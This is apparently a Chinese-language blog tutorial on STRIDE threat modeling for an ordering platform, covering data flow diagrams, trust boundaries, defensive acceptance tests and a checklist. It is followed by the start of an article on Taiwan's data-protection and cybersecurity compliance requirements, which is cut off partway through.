STRIDE 不是要你記住六個英文單字,而是給你一個「思考的框架」。下次設計功能時,不用再對著空白頁面想「會有什麼攻擊?」,而是可以按照 S-T-R-I-D-E 的順序逐一檢查。有框架比沒框架好,不完美的威脅建模也遠勝過完全不做。
威脅建模的核心工具:資料流程圖(DFD)
知道了六種威脅類型之後,下一個問題是:「我該對『什麼東西』做 STRIDE 分析?」
答案是:資料流程圖(Data Flow Diagram,DFD)。
DFD 不是那種複雜到讓人想睡覺的 UML 圖。它只有四種元素,畫起來非常直覺:
| 元素 | 符號 | 說明 | 範例 |
|---|---|---|---|
| 外部實體(External Entity) | 矩形 | 系統之外的人或系統 | 使用者、第三方支付閘道、外送員 App |
| 處理程序(Process) | 圓形 | 系統內處理資料的元件 | 訂單服務、認證服務、通知服務 |
| 資料儲存(Data Store) | 兩條平行線 | 資料存放的地方 | 使用者資料庫、訂單資料庫、Redis 快取 |
| 資料流(Data Flow) | 箭頭 | 資料的流動方向 | 登入請求、訂單資料、付款結果通知 |
實戰:畫出訂餐平台的 DFD
以訂餐平台的「下訂單」功能為例,DFD 大概長這樣:
┌─────────────┐
│ 信任邊界 │
┌──────────┐ │┌───────────┐│ ┌──────────────┐
│ │ 訂單請求 ││ ││ 查詢菜單 │ │
│ 使用者 │──────────→││ 訂單服務 ││────────→│ 餐廳資料庫 │
│ (瀏覽器) │ ││ ││ │ │
│ │←──────────││ ││←────────│ │
└──────────┘ 訂單確認 ││ ││ 菜單資料 └──────────────┘
││ ││
││ ││ 建立訂單 ┌──────────────┐
││ ││────────→│ 訂單資料庫 │
││ ││ │ │
│└─────┬─────┘│ └──────────────┘
│ │ │
│ │付款請求
│ ↓ │
│┌───────────┐│
││ 付款服務 ││
│└─────┬─────┘│
└──────│──────┘
│ API 呼叫
↓
┌─────────────┐
│ 第三方支付閘道│
│ (綠界/藍新) │
└─────────────┘
畫 DFD 的時候,有幾個原則要注意:
原則一:從使用者的角度出發
先想使用者會做什麼操作,資料從哪裡進來、經過哪些處理、最後存到哪裡。
原則二:一次只畫一個功能流程
不要試圖把整個系統畫在一張圖上。登入是一張、下訂單是一張、退款是一張。這樣才能聚焦分析。
原則三:標示清楚每條資料流的內容
不要只畫箭頭,要寫上「這條線上跑的是什麼資料」。例如:「JWT Token」、「訂單明細(含地址、電話)」、「信用卡 Token」。這會幫助你判斷哪條資料流最敏感。
信任邊界:威脅建模最關鍵的一條線
如果 DFD 是威脅建模的地圖,那信任邊界(Trust Boundary)就是地圖上最重要的那條線。
信任邊界是什麼?就是不同信任等級之間的分界線。
用一個更直覺的比喻:想像你家的大門。門外是公共空間,什麼人都可能經過;門內是你的私人空間,只有你信任的人才能進來。那道門,就是信任邊界。
在軟體系統中,常見的信任邊界包括:
| 信任邊界 | 低信任側 | 高信任側 | 跨越邊界的資料 |
|---|---|---|---|
| 瀏覽器 ↔ 後端 API | 使用者的瀏覽器(不可信) | 你的伺服器 | HTTP 請求、Cookie、JWT |
| 後端 ↔ 資料庫 | 應用程式層 | 資料層 | SQL 查詢、資料回傳 |
| 內部服務 ↔ 外部 API | 你的系統 | 第三方服務(部分信任) | API 呼叫、Webhook 回調 |
| 使用者角色之間 | 一般使用者 | 管理員 | 權限檢查、操作授權 |
| 容器 ↔ 主機 | 容器內的應用 | 主機作業系統 | 系統呼叫、檔案存取 |
為什麼信任邊界這麼重要?
因為大部分的攻擊都發生在信任邊界上。
攻擊者的目標,就是找到那條線,然後想辦法跨越它:從不被信任的一側,滲透到被信任的一側。
回到訂餐平台的例子:
- 瀏覽器 → API:攻擊者可以自由修改瀏覽器送出的請求(竄改訂單金額、偽造身分)
- API → 資料庫:如果 API 沒有做好輸入驗證,攻擊者的惡意輸入會直接到達資料庫(SQL Injection)
- API → 第三方支付:如果回調通知沒有驗證簽章,攻擊者可以偽造「付款成功」的通知
飛飛觀點:
在 DFD 上標示信任邊界後,把注意力集中在每一條「穿越信任邊界的資料流」上——這些就是你最需要做 STRIDE 分析的地方。不需要對圖上的每一條線都做完整分析,先守住邊界,就能防住大部分攻擊。
實戰演練:對訂餐平台做完整的 STRIDE 分析
理論講完了,我們來實際操作一次。以下用台灣訂餐平台的「使用者下訂單」功能,走一遍完整的 STRIDE 分析流程。
步驟一:畫出 DFD(上面已經畫好了)
步驟二:標示信任邊界
在我們的 DFD 中,主要的信任邊界有三條:
- 使用者瀏覽器 ↔ 後端 API(最外層邊界)
- 訂單服務 ↔ 付款服務(內部服務間)
- 付款服務 ↔ 第三方支付閘道(系統 ↔ 外部系統)
步驟三:對每條跨邊界的資料流做 STRIDE 分析
以下是分析結果,整理成一張威脅清單表格:
| 編號 | 資料流 | STRIDE | 威脅描述 | 風險等級 | 緩解措施 |
|---|---|---|---|---|---|
| T-01 | 使用者 → 訂單服務 | S 身分冒用 | 攻擊者竊取 JWT 冒充使用者下單 | 高 | Token 短效期 + Refresh Token + 裝置綁定 |
| T-02 | 使用者 → 訂單服務 | T 資料竄改 | 攻擊者竄改請求中的商品價格或數量 | 高 | 伺服器端重新查詢價格,不信任前端傳值 |
| T-03 | 使用者 → 訂單服務 | I 資訊洩露 | 透過遍歷訂單 ID 取得他人訂單資訊 | 高 | 使用 UUID 取代流水號 + 所有權驗證 |
| T-04 | 使用者 → 訂單服務 | D 阻斷服務 | 大量送出假訂單癱瘓系統 | 中 | Rate Limiting + CAPTCHA + 訂單佇列 |
| T-05 | 使用者 → 訂單服務 | E 權限提升 | 修改請求將自己角色改為管理員 | 高 | 伺服器端從 Token 解析角色,不接受前端傳值 |
| T-06 | 訂單服務 → 訂單 DB | T 資料竄改 | SQL Injection 修改訂單資料 | 高 | 參數化查詢(ORM) |
| T-07 | 訂單服務 → 訂單 DB | I 資訊洩露 | 錯誤訊息洩漏資料庫結構 | 中 | 統一錯誤回應格式 |
| T-08 | 付款服務 → 金流閘道 | S 身分冒用 | 攻擊者偽造回調通知假裝付款成功 | 高 | 驗證回調簽章 + 白名單 IP |
| T-09 | 訂單服務 | R 否認行為 | 使用者聲稱未下過訂單 | 中 | 完整 Audit Log + 操作前確認頁面 |
| T-10 | 付款服務 → 金流閘道 | T 資料竄改 | 中間人竄改付款金額 | 高 | HTTPS + 金額簽章驗證 |
步驟四:排定優先順序
不需要一次解決所有威脅。根據「風險等級」和「修復難度」來排序:
第一優先(高風險 + 容易修):T-02(價格驗證)、T-06(SQL Injection)、T-07(錯誤訊息)
第二優先(高風險 + 需要設計):T-01(Token 安全)、T-03(訂單隔離)、T-08(回調驗證)
第三優先(中風險 + 持續改善):T-04(DoS 防護)、T-09(Audit Log)
把威脅轉化為安全驗收標準
威脅建模的產出不應該只是一份文件——它應該變成可測試的安全驗收標準。這就是跟上一篇「安全需求規格書」的銜接點。
以 T-02(價格竄改)和 T-03(訂單資訊洩露)為例:
# T-02 對應的安全驗收標準
Feature: 訂單金額完整性保護
Scenario: 前端傳送的商品價格不被信任
Given 商品 A 在資料庫中的價格為 NT$350
When 使用者送出訂單且請求中的商品價格被竄改為 NT$1
Then 系統應以資料庫中的價格 NT$350 計算訂單金額
And 不應採用前端傳送的價格
Scenario: 訂單金額與商品價格一致
Given 使用者將 2 份商品 A(NT$350)和 1 份商品 B(NT$200)加入購物車
When 送出訂單
Then 訂單金額應為 NT$900
And 各品項金額應與資料庫即時價格一致
# T-03 對應的安全驗收標準
Feature: 訂單資料存取隔離
Scenario: 使用者只能存取自己的訂單
Given 使用者 A 有一筆訂單 ID 為 "order-uuid-123"
And 使用者 B 已登入系統
When 使用者 B 嘗試存取 GET /api/orders/order-uuid-123
Then 系統應回傳 403 Forbidden
And 回應中不應包含任何訂單資料
Scenario: 訂單 ID 不可被遍歷
Given 系統中存在多筆訂單
When 攻擊者嘗試遍歷 GET /api/orders/1, /api/orders/2, /api/orders/3
Then 系統應回傳 404 Not Found(不洩漏訂單是否存在)
對應的自動化測試範例:
// T-02: 價格竄改防護測試
describe('T-02: 訂單金額完整性', () => {
it('應忽略前端傳送的價格,使用資料庫價格計算', async () => {
const token = await loginAs('customer@example.com');
// When: 送出訂單,但商品價格被竄改
const response = await request(app)
.post('/api/orders')
.set('Authorization', <code class="kb-btn">Bearer ${token}</code>)
.send({
items: [
{ product_id: 'prod-001', quantity: 2, price: 1 } // 竄改價格為 NT$1
]
});
// Then: 訂單金額應以資料庫價格計算
expect(response.status).toBe(201);
expect(response.body.total_amount).toBe(700); // 資料庫價格 NT$350 × 2
expect(response.body.total_amount).not.toBe(2); // 不是竄改後的 NT$1 × 2
});
});
// T-03: 訂單存取隔離測試
describe('T-03: 訂單資料隔離', () => {
it('不應存取其他使用者的訂單', async () => {
const tokenA = await loginAs('customer_a@example.com');
const tokenB = await loginAs('customer_b@example.com');
// Given: 使用者 A 建立一筆訂單
const orderResponse = await request(app)
.post('/api/orders')
.set('Authorization', <code class="kb-btn">Bearer ${tokenA}</code>)
.send({ items: [{ product_id: 'prod-001', quantity: 1 }] });
const orderId = orderResponse.body.id;
// When: 使用者 B 嘗試存取使用者 A 的訂單
const accessResponse = await request(app)
.get(<code class="kb-btn">/api/orders/${orderId}</code>)
.set('Authorization', <code class="kb-btn">Bearer ${tokenB}</code>);
// Then: 應被拒絕
expect(accessResponse.status).toBe(403);
expect(accessResponse.body).not.toHaveProperty('items');
expect(accessResponse.body).not.toHaveProperty('delivery_address');
});
});
威脅建模 Checklist:你的團隊可以直接用
以下是一份精簡的威脅建模 Checklist,適合在設計審查會議中使用:
前置準備
□ 已確定要分析的功能範圍(一次一個功能)
□ 已繪製 DFD(包含外部實體、處理程序、資料儲存、資料流)
□ 已標示所有信任邊界
□ 已標註每條資料流上傳輸的資料類型
STRIDE 逐項檢查
## S — Spoofing 身分冒用
□ 每個跨信任邊界的請求是否都有身分驗證?
□ Token / Session 的產生、傳輸、儲存是否安全?
□ 是否有防止 Session Fixation 和 Replay Attack 的機制?
## T — Tampering 資料竄改
□ 傳輸中的資料是否使用 HTTPS / TLS?
□ 伺服器是否獨立驗證所有關鍵資料(價格、數量、權限)?
□ 資料庫操作是否使用參數化查詢?
## R — Repudiation 否認行為
□ 關鍵操作(下單、付款、退款、修改權限)是否有 Audit Log?
□ Log 是否包含 who、what、when、where、result?
□ Log 儲存是否防竄改(不可被使用者或一般管理員刪除)?
## I — Information Disclosure 資訊洩露
□ API 回應是否只包含必要欄位(最小化原則)?
□ 錯誤訊息是否統一格式,不洩漏實作細節?
□ 敏感資料(密碼、Token、個資)是否有適當遮罩或加密?
## D — Denial of Service 阻斷服務
□ 對外 API 是否有 Rate Limiting?
□ 上傳功能是否有檔案大小限制?
□ 資料庫查詢是否有分頁和效能考量?
## E — Elevation of Privilege 權限提升
□ 權限檢查是否在伺服器端執行(不信任前端)?
□ 使用者角色是否從 Token / Session 取得(不接受 request body)?
□ 是否有防止 Mass Assignment / Prototype Pollution 的措施?
收尾
□ 每個識別出的威脅是否有對應的緩解措施?
□ 威脅是否已按風險等級排定優先順序?
□ 高風險威脅是否已轉化為安全驗收標準(Gherkin 格式)?
□ 威脅清單是否已記錄在專案文件中(版本化管理)?
在團隊中落地威脅建模:務實的建議
建議一:從「輕量版」開始,不要追求完美
很多團隊聽到「威脅建模」就覺得很重、很花時間。但威脅建模不需要一次就做到完美。
輕量版做法:在每次 Sprint Planning 或 Design Review 時,花 30 分鐘做以下動作:
- 畫一張簡單的 DFD(白板就好,不需要專業工具)
- 標出信任邊界
- 對每條跨邊界的資料流,快速過一遍 STRIDE
- 把識別出的威脅記錄在 Issue Tracker(如 Jira、GitHub Issues)
30 分鐘的威脅建模,遠勝過 0 分鐘。
建議二:指定一位「威脅建模引導者」
這個角色不需要是資安專家。他的工作是:
- 確保每次設計新功能時,都有人問:「我們做過 STRIDE 分析嗎?」
- 引導團隊在白板前畫 DFD、標信任邊界
- 把討論結果記錄下來
這跟上一篇提到的 Security Champion 是同一個角色——在團隊中推動安全思維的人。
建議三:把威脅建模的產出與程式碼綁在一起
威脅清單不要只放在 Confluence 上吃灰塵。建議在專案目錄中建立 <code>threats/</code> 資料夾:
/project
/src
/tests
/specs
/threats
login-flow.md ← 登入功能的威脅分析
order-flow.md ← 下單功能的威脅分析
payment-flow.md ← 付款功能的威脅分析
每份威脅分析文件包含:DFD 圖(可以用 ASCII art 或 Mermaid)、STRIDE 分析表格、對應的緩解措施、連結到相關的安全驗收標準。
這樣做的好處是:威脅分析會跟著程式碼一起被版本控制,團隊成員可以在 Code Review 時交叉參考。
建議四:善用工具,但不依賴工具
以下是一些免費的威脅建模工具:
| 工具 | 特點 | 適合 |
|---|---|---|
| OWASP Threat Dragon | 開源、支援 DFD 繪製、自動產生 STRIDE 威脅 | 想要圖形化介面的團隊 |
| Microsoft Threat Modeling Tool | 微軟出品、功能完整、有威脅知識庫 | Windows 環境的團隊 |
| draw.io / Excalidraw | 通用繪圖工具,彈性大 | 喜歡自由繪製的團隊 |
| Mermaid | 純文字語法、可版本控制 | 開發者友善、CI 整合 |
飛飛觀點:
工具只是輔助。一塊白板加六支彩色筆,就能做出很棒的威脅建模。重點不是圖畫得多漂亮,而是團隊有沒有一起思考過「攻擊者會怎麼做」。
常見問題 FAQ
Q1:威脅建模跟上一篇的 Abuse Case 有什麼不同?
它們是互補的,但切入角度不同:
| 面向 | Abuse Case | 威脅建模(STRIDE) |
|---|---|---|
| 切入角度 | 從單一功能出發,思考攻擊者怎麼濫用 | 從系統架構出發,系統化盤點所有威脅 |
| 適合時機 | 撰寫安全需求規格時 | 系統設計或架構審查時 |
| 產出格式 | Abuse Case 表格 + 安全驗收標準 | DFD + STRIDE 威脅清單 + 緩解措施 |
| 關注層面 | 業務邏輯層面的攻擊 | 技術架構層面的威脅 |
最佳實踐是兩者搭配使用:先用 STRIDE 找出系統層面的威脅,再對高風險的功能用 Abuse Case 深入分析。
Q2:我們的系統很小,也需要做威脅建模嗎?
系統越小,威脅建模越快。一個三頁功能的小系統,30 分鐘就能做完基本的 STRIDE 分析。而且小系統一旦出事,影響可能比你想的大——因為小團隊通常也沒有專職資安人員來善後。
建議至少對以下功能做威脅建模:處理金流的功能、處理個資的功能、對外暴露的 API、認證與授權相關的功能。
Q3:STRIDE 以外還有其他威脅建模方法嗎?
有的。STRIDE 是最入門也最通用的,但如果你想更進一步:
- PASTA(Process for Attack Simulation and Threat Analysis):以風險為中心的七步驟框架,更適合企業級的完整評估
- LINDDUN:專門針對隱私威脅的建模方法,適合處理大量個資的系統
- Attack Tree:用樹狀結構列出達成某個攻擊目標的所有可能路徑
對初學者來說,先掌握 STRIDE 就足以涵蓋大部分常見威脅。
Q4:威脅建模的結果多久要更新一次?
建議在以下情境時更新:
- 系統架構有重大變更(如新增微服務、更換資料庫)
- 新增涉及敏感資料的功能
- 發生資安事件後的根因分析
- 每年至少全面 Review 一次
不需要每次小改動都重做,但重大變更一定要重新評估。
結語:威脅建模是一種思維方式,不是一份文件
很多人把威脅建模想成「交差用的文件」——做完往 Wiki 一放,就再也沒人看。
但威脅建模的真正價值,不在那張 DFD 或那份威脅清單,而在於團隊養成了「用攻擊者視角看系統」的思維習慣。
當你畫 DFD 時,你會自然地思考:「這條資料流上跑的是什麼?」
當你標信任邊界時,你會自然地問:「這裡的驗證夠嗎?」
當你做 STRIDE 分析時,你會自然地想:「如果我是攻擊者,我會怎麼做?」
這些思考習慣一旦內化,你設計出來的系統自然就會更安全。
就像前面說的:好的建築師不只想像住戶怎麼生活,也會想像小偷怎麼闖入。而好的開發者不只想像使用者怎麼操作,也會想像攻擊者怎麼破壞。
下一篇,我們會繼續探索安全設計階段的其他主題——安全設計原則:最小權限、縱深防禦、預設安全。在你知道威脅從哪來之後,我們來看看怎麼用設計原則把它們擋在門外。
延伸閱讀
[安全需求] 003 SSDLC 安全需求實戰:台灣法規遵循指南:個資法、資安法與產業規範
你的程式碼寫得再安全,如果不符合法規,公司照樣被罰。
法規遵循不是法務的事,而是每一行程式碼的責任。
一、為什麼開發者要懂法規?因為「不知道」不能當藉口
想像你蓋了一棟房子,結構堅固、防盜完善、消防設備齊全。但有一天政府來稽查,發現你的建築執照過期、消防通道寬度不合規、而且沒有無障礙設施——罰單直接開下去,不管你的房子蓋得多漂亮。
軟體開發也是一樣。你可以用 Argon2 加密密碼、做好 CSRF 防護、甚至通過滲透測試零漏洞,但如果你在蒐集使用者資料時沒有取得同意、沒有在隱私政策中告知使用目的、或者在資安事件發生後沒有依法通報——這些都是違法的。
在台灣,跟軟體開發最相關的兩部法律是個人資料保護法(個資法)和資通安全管理法(資安法)。此外,如果你的公司屬於特定產業(如金融業、醫療業),還有更嚴格的產業規範要遵守。
在 SSDLC 的七大階段中,法規遵循屬於第一階段:安全需求定義。因為如果你在需求階段就搞清楚「法律要求我做什麼」,後面的設計、實作、測試就能對齊法規要求,而不是上線後才手忙腳亂地補。
飛飛觀點:
很多開發者覺得法規是法務的事,跟寫程式無關。但事實上,法規裡的每一條要求,最終都會變成一行行的程式碼。你越早理解法規,就越能寫出合規又安全的系統。
二、台灣法規全景圖:開發者該認識的三個層次
在深入個別法規之前,先讓我們用一張全景圖理解台灣的資安與個資法規架構:
| 層次 | 法規 / 規範 | 適用對象 | 主管機關 |
|---|---|---|---|
| 通用法規 | 個人資料保護法(個資法) | 所有蒐集、處理、利用個資的組織 | 個人資料保護委員會(籌備中) |
| 通用法規 | 資通安全管理法(資安法) | 公務機關 + 特定非公務機關 | 數位發展部 |
| 產業規範 | 金融資安行動方案 | 金融業(銀行、保險、證券等) | 金融監督管理委員會(金管會) |
| 產業規範 | 上市櫃公司資通安全管控指引 | 上市櫃公司 | 金管會 / 證交所 / 櫃買中心 |
| 產業規範 | 醫療機構電子病歷製作及管理辦法 | 醫療機構 | 衛生福利部 |
| 國際接軌 | GDPR(歐盟一般資料保護規則) | 處理歐盟居民資料的組織 | 歐盟資料保護機構 |
對開發者來說,個資法和資安法是基本功,產業規範則視你所在的公司而定。
三、個人資料保護法:開發者必知的核心要求
3.1 個資法跟開發者有什麼關係?
個資法規範的是「個人資料的蒐集、處理及利用」。只要你的系統會碰到使用者的個資,你就在個資法的管轄範圍內。
什麼是「個人資料」?根據個資法第 2 條,只要能直接或間接識別特定個人的資料都算,包括但不限於:
| 類別 | 範例 | 開發者常碰到的場景 |
|---|---|---|
| 基本識別資訊 | 姓名、身分證字號、出生年月日 | 會員註冊表單 |
| 聯絡資訊 | Email、手機號碼、地址 | 寄送通知、行銷信件 |
| 財務資訊 | 信用卡號、銀行帳號 | 線上支付功能 |
| 特種個資 | 醫療紀錄、犯罪前科、性生活 | 健康管理 App、背景查核系統 |
| 數位足跡 | IP 位址、Cookie、裝置 ID | 網站分析、廣告追蹤 |
3.2 個資法對開發者的八大要求
以下是從個資法中提煉出,跟軟體開發直接相關的八大要求:
要求一:蒐集前要告知並取得同意
你不能偷偷蒐集使用者資料。系統必須在蒐集前明確告知:蒐集的目的、資料類別、使用期間、對象、地區、方式,以及當事人的權利(如查詢、更正、刪除等)。
// ❌ 不好的做法:註冊時沒有任何告知,直接存資料
app.post('/register', (req, res) => {
db.users.insert(req.body); // 直接存,沒告知
});
// ✅ 好的做法:註冊前展示隱私聲明,取得明確同意
app.post('/register', (req, res) => {
if (!req.body.privacyConsent) {
return res.status(400).json({
error: '請先同意隱私權政策'
});
}
// 記錄同意時間與版本
const user = {
...req.body,
consentTimestamp: new Date().toISOString(),
consentVersion: 'privacy-policy-v2.1',
consentIP: req.ip
};
db.users.insert(user);
});
要求二:不能超出蒐集目的使用
你蒐集 Email 是為了寄訂單通知,就不能拿來發行銷信——除非使用者另外同意。
// ❌ 不好的做法:用訂單通知的 Email 名單直接發促銷
await sendEmail(user.email, '限時優惠!全館 5 折');
// ✅ 好的做法:檢查使用者是否有同意行銷用途
if (user.marketingConsent) {
await sendEmail(user.email, '限時優惠!全館 5 折');
}
要求三:當事人有權查詢、更正、刪除自己的資料
系統必須提供機制讓使用者可以查詢自己被蒐集了哪些資料、要求更正錯誤、甚至要求刪除。
// API 設計應包含這些端點
// GET /api/me/data → 查詢個人資料
// PATCH /api/me/data → 更正個人資料
// DELETE /api/me/data → 刪除個人資料(帳號刪除)
// GET /api/me/data/export → 匯出個人資料副本
要求四:要制定「個人資料檔案安全維護計畫」
非公務機關(也就是一般公司)必須制定安全維護計畫,包含:管理措施、技術措施、認知宣導訓練,以及事故應變機制。
要求五:資安事件發生後要通知當事人
如果發生個資外洩,你必須在查明後通知當事人,告知外洩的事實、個資類別、應變措施等。
要求六:特種個資需要特別處理
醫療、基因、性生活、健康檢查、犯罪前科等「特種個資」,原則上不得蒐集、處理或利用,除非符合法定例外情形(如法律明文規定、當事人書面同意等)。
要求七:委外處理個資要監督受託者
如果你把資料處理委外(例如用第三方雲端服務、委託行銷公司發信),委託方仍然要負監督責任。
要求八:跨境傳輸有限制
個資傳輸到台灣境外時,需要確保接收方的個資保護水準足夠。
3.3 2025-2026 年個資法重大修正:開發者需注意的變化
2025 年 11 月 11 日,總統公布了個資法修正案(施行日期由行政院另定)。這次修正是個資法自施行以來最大規模的修正,由個資會籌備處採「兩階段」推動修法。以下是對開發者的重要影響:
| 修正重點 | 對開發者的影響 |
|---|---|
| 成立「個人資料保護委員會」作為獨立監管機關 | 未來有專責機關統一監管,稽查力度預期增強 |
| 明訂個資事故通報義務 | 發生個資外洩時,須向個資會通報,系統必須有事故偵測與通報機制 |
| 公務機關須設置「個人資料保護長」 | 政府專案開發需配合資料保護長的要求(目前尚未要求民間企業設置) |
| 事故發生後須即時通知當事人 | 企業不得以「尚未查明」為由遲誤通知,系統需預備當事人通知機制 |
| 個資會可逕行處罰,毋庸先令限期改正 | 違規風險大幅提高,不再有「先被警告再改」的緩衝空間 |
目前進度(截至 2026 年 2 月):
值得注意的是,個資保護委員會的正式成立,仍須等待「個人資料保護委員會組織法」完成立法程序。目前組織法草案已在立法院「司法及法制委員會」初審完竣,尚待院會完成三讀。行政院將配合組織法的立法進度,再行指定個資法新法的施行日期。
此外,個資會籌備處已在 2026 年初預告多項子法草案,包括「個人資料檔案安全維護管理辦法」、事故通報相關辦法、檢查非公務機關落實個資法情形作業辦法等,正在公開徵求意見階段。這些子法一旦定案,將直接影響你的系統需要符合的具體技術規格。
飛飛觀點:
個資保護委員會的成立,代表台灣的個資保護即將進入新時代。雖然組織法尚在立法程序中,但子法草案已經在預告了——這代表一切都在加速推進。對開發者來說,現在就把合規做好,遠比之後被罰再來改要划算得多。
四、資通安全管理法:你的公司在管轄範圍嗎?
4.1 資安法是什麼?
如果說個資法保護的是「個人的資料」,那資安法保護的就是「國家的資通安全」。資安法在 2019 年正式施行,2025 年 9 月 24 日公布了施行以來首次重大修正(施行日期由行政院另定)。
資安法管的是兩類對象:
第一類:公務機關
各級政府機關。如果你的公司承接政府專案,雖然你不是公務機關,但你的系統需要符合機關的資安要求。
第二類:特定非公務機關
這包括三種:
| 特定非公務機關類型 | 範例 |
|---|---|
| 關鍵基礎設施提供者 | 電力、電信、交通、金融、醫療等關鍵服務的營運者 |
| 公營事業 | 台電、中華郵政等 |
| 特定財團法人或政府捐助的機構 | 政府持有一定比例的財團法人 |
4.2 資安法對開發者的重點要求
要求一:建立資通安全維護計畫
受規範的機關與組織必須制定資安維護計畫,包含資通系統的安全管理、防護、稽核及事件應變等。
要求二:事件通報義務
發生資安事件時,必須在規定時間內向主管機關通報。
| 事件等級 | 通報時限 | 範例 |
|---|---|---|
| 第一級(輕微) | 72 小時內 | 非核心系統異常 |
| 第二級(一般) | 36 小時內 | 核心系統效能降低 |
| 第三級(重大) | 24 小時內 | 核心系統服務中斷 |
| 第四級(嚴重) | 1 小時內 | 機密資料大量外洩 |
開發者的責任:系統必須有完善的日誌記錄、異常偵測與告警機制,才能在事件發生時快速判斷等級並通報。
要求三:資通系統分級與防護基準
依據系統處理資料的機密性、完整性及可用性,系統被分為不同安全等級,每個等級有對應的防護基準。
資通系統防護基準等級:
普級 → 基本防護(輸入驗證、存取控制、日誌記錄)
中級 → 強化防護(加密傳輸、弱點掃描、定期稽核)
高級 → 最高防護(滲透測試、多因素認證、即時監控)
要求四:委外管理
修正後的資安法明確要求,機關委外辦理資通安全業務時,應與受託者簽訂書面契約,載明權利義務及違約責任。如果你是政府專案的受託廠商,這一點格外重要。
要求五:禁止使用危害國家資通安全產品
2025 年修正將「禁用危害國安產品」提升至法律位階。公務機關不得使用被認定為危害國家資通安全的產品(如特定國家製造的設備或軟體)。
4.3 2025-2026 年資安法修正重點
資安法自 2019 年施行以來,本次(2025 年 8 月 29 日三讀、9 月 24 日公布)是首次重大修正。資安署將在公布後六個月內完成 8 項子法修訂,預計 2026 年上半年與母法同步施行。
| 修正重點 | 說明 |
|---|---|
| 主管機關變更 | 由行政院改為數位發展部,資安業務由資安署執行 |
| 擴大稽核範圍 | 總統府及五院均納入稽核範圍 |
| 禁用危害國安產品 | 公務機關不得下載、安裝或使用危害國家資通安全產品(提升至法律位階) |
| 特定非公務機關須設資安長與專職人員 | 比照公務機關要求,確保資安防護量能 |
| 提高罰則 | 未通報資安事件罰鍰上限提高至 NT$1,000 萬;未改正罰鍰上限提高至 NT$500 萬 |
| 強化稽查權限 | 主管機關可要求到場說明、提出第三方報告或派員檢查 |
| 委外管理法制化 | 委外辦理資安業務須簽訂書面契約,載明權利義務及違約責任 |
| 資安人員適任性查核 | 專職資安人員須進行適任性查核,未通過者不得處理涉及國家機密之業務 |
| 資安演練 | 明確要求機關配合數位發展部辦理資安演練 |
飛飛觀點:
即使你的公司不是資安法的直接管轄對象,但如果你承接政府專案、為關鍵基礎設施提供軟體服務,或者是上市櫃公司的供應商,資安法的要求都會間接影響到你。了解它,是保護自己也保護客戶。
五、產業規範:金融業與上市櫃公司的特別要求
除了通用的個資法和資安法,特定產業還有更嚴格的要求。以下是兩個對軟體開發影響最大的產業規範:
5.1 金融業:金融資安行動方案
金管會在 2020 年發布「金融資安行動方案」,2022 年推出 2.0 版,對金融機構的資安防護提出全面要求。
對開發者的關鍵要求:
| 要求 | 開發實務 |
|---|---|
| 核心系統上線前須做安全測試 | 導入 SAST、DAST、滲透測試 |
| 定期弱點掃描與修補 | 建立持續性的弱點管理流程 |
| 電子交易安全 | 實作多因素認證、交易簽章、防MITM |
| 資安事件通報(30 分鐘 ~ 24 小時) | 完善的日誌與即時告警機制 |
| 導入 ISO 27001 等國際標準 | 系統開發需符合 ISMS 要求 |
5.2 上市櫃公司:資通安全管控指引
金管會要求所有上市櫃公司依照規模分三級,逐步設置資安長、資安專責單位與人員:
| 級別 | 條件 | 要求 |
|---|---|---|
| 第一級 | 資本額 ≥ NT$100 億或台灣 50 成分股 | 資安長 + 資安專責單位 + 主管 + ≥ 2 名專責人員 |
| 第二級 | 其餘未連續虧損的上市櫃公司 | 資安專責主管 + ≥ 1 名專責人員 |
| 第三級 | 連續虧損或每股淨值低於面額 | 鼓勵設置 ≥ 1 名資安專責人員 |
資通安全管控指引同時對開發面提出要求:
✅ 系統開發需求規格須納入資安要求
✅ 用戶輸入輸出須有檢查過濾機制
✅ 上線前須執行原始碼掃描
✅ 定期辦理弱點掃描與滲透測試
✅ 委外開發須於合約載明資安要求與稽核權
六、實戰案例:台灣電商平台的法規遵循需求
讓我們用一個完整的案例,把前面的法規知識串起來。
場景
你的團隊正在為一家台灣電商平台開發新版會員系統。這個系統會處理:會員註冊、登入、訂單管理、信用卡支付、行銷推播、退貨退款。公司是上市公司(第二級)。
法規遵循需求分析
Step 1:盤點會碰到的個資
| 資料類別 | 具體內容 | 蒐集目的 | 法規依據 |
|---|---|---|---|
| 基本身分 | 姓名、Email、手機 | 會員管理、訂單通知 | 個資法 §19 |
| 財務資料 | 信用卡號、銀行帳號 | 支付處理 | 個資法 §19 + PCI DSS |
| 交易紀錄 | 訂單內容、金額、時間 | 訂單管理、退貨退款 | 個資法 §19 |
| 行銷相關 | 瀏覽紀錄、偏好標籤 | 個人化推薦 | 個資法 §19(需另取同意) |
| 日誌資料 | IP 位址、裝置資訊 | 資安監控、異常偵測 | 資安法 + 個資法 |
Step 2:轉化為安全需求規格
## 會員系統安全需求規格(法規遵循)
### 1. 個資蒐集告知與同意(個資法 §8)
- 註冊頁面須顯示隱私權政策全文
- 使用者須勾選同意後才能完成註冊
- 系統記錄同意時間、IP、政策版本
- 行銷用途須獨立取得同意(不得與服務同意綁定)
### 2. 當事人權利行使機制(個資法 §3)
- 提供「個人資料查詢」功能
- 提供「個人資料更正」功能
- 提供「帳號刪除」功能(含關聯資料清除)
- 提供「個人資料匯出」功能
- 處理期限:收到請求後 15 日內回覆
### 3. 資料安全保護(個資法 §27 + 資安管控指引)
- 信用卡號以 AES-256 加密存儲
- 密碼以 Argon2id 雜湊後存儲
- 所有 API 傳輸使用 TLS 1.2 以上
- 信用卡顯示時遮蔽為 **** **** **** 1234
### 4. 日誌與稽核(資安法 + 管控指引)
- 記錄所有登入、權限變更、資料存取行為
- 日誌中不得包含完整信用卡號或密碼
- 日誌保存至少 6 個月
- 異常行為即時告警
### 5. 資安事件通報準備(資安法 + 個資法)
- 建立資安事件分級與通報流程
- 系統具備事件偵測與告警能力
- 預備當事人通知機制(Email + 站內信)
Step 3:轉化為安全驗收標準
# SAC-LC-01:個資蒐集同意驗證
Scenario: 未同意隱私政策不得完成註冊
Given 使用者在註冊頁面填寫完資料
When 使用者未勾選「同意隱私權政策」就點擊註冊
Then 系統應顯示錯誤訊息「請先同意隱私權政策」
And 不得將任何資料寫入資料庫
# SAC-LC-02:行銷同意獨立取得
Scenario: 行銷同意與服務同意分離
Given 使用者在註冊頁面
When 使用者同意服務條款但未勾選行銷同意
Then 使用者可以成功完成註冊
And 資料庫中 marketing_consent 欄位為 false
And 系統不得對該使用者發送行銷訊息
# SAC-LC-03:當事人資料刪除權
